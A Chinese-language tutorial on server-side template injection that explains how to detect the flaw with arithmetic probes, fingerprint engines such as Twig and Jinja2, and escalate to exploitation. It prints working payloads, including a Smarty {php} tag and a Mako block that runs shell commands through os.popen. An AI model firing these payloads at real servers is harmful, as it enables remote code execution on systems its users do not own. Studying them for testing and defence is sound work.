服务端模板注入
一、判断漏洞是否存在
1、文本类
smarty=Hello {user.name}
Hello user1
freemarker=Hello ${username}
Hello newuser
any=<b>Hello</b>
<b>Hello<b>
smarty=Hello ${7*7}
Hello 49
freemarker=Hello ${7*7}
Hello 49
2、代码类
在一些环境下,用户的输入也会被当作模板的可执行代码。比如说变量名:
personal_greeting=username
Hello user01
这种情况下,XSS 的方法就无效了。但是我们可以通过破坏 template 语句,并附加注入的HTML标签以确认漏洞:
personal_greeting=username<tag>
Hello
personal_greeting=username}}<tag>
Hello user01 <tag>
二、判断不同的模板引擎
检测到模板注入后,我们需要判断具体的模板引擎。我们需要fuzz不同的字符,再通过返回的错误判断。当模板引擎屏蔽错误后,该类当法就失效了,并且暴力fuzz也对攻击自动化不友好。Burpsuite 则对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:

这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}会在 Twig 中返回49,而在Jinja2 中则是7777777。
三、漏洞利用
1、读文档
查看模板利用语法
2、探环境
当我们构建出了可用 exp 后,我们需要考虑我们当前环境可利用的函数/对象。除了模板默认的对象和我们提供的参数外,大部分模板引擎都有一个包含当前命名空间所有信息的对象(比如 self),或者一个可以列出所有属性和方法的函数。
如果没有这样的对象或函数,我们需要暴力枚举变量名。我已在 FuzzDB 和 Burp Intruder 中公布了 fuzz 字典。
有些时候,开发者也会在模板中包含了一些敏感信息。
3、exp
有些时候,攻破一个程序不需要多少时间,比如:{php}echo id;{/php}
这时,我们只需递交:
<%
import os
x=os.popen('id').read()
%>
${x}
但是越来越多的模板会提供安全措施(比方说沙箱,过滤)来保证安全性,因此开发模板注入后门越来越难了。

浙公网安备 33010602011771号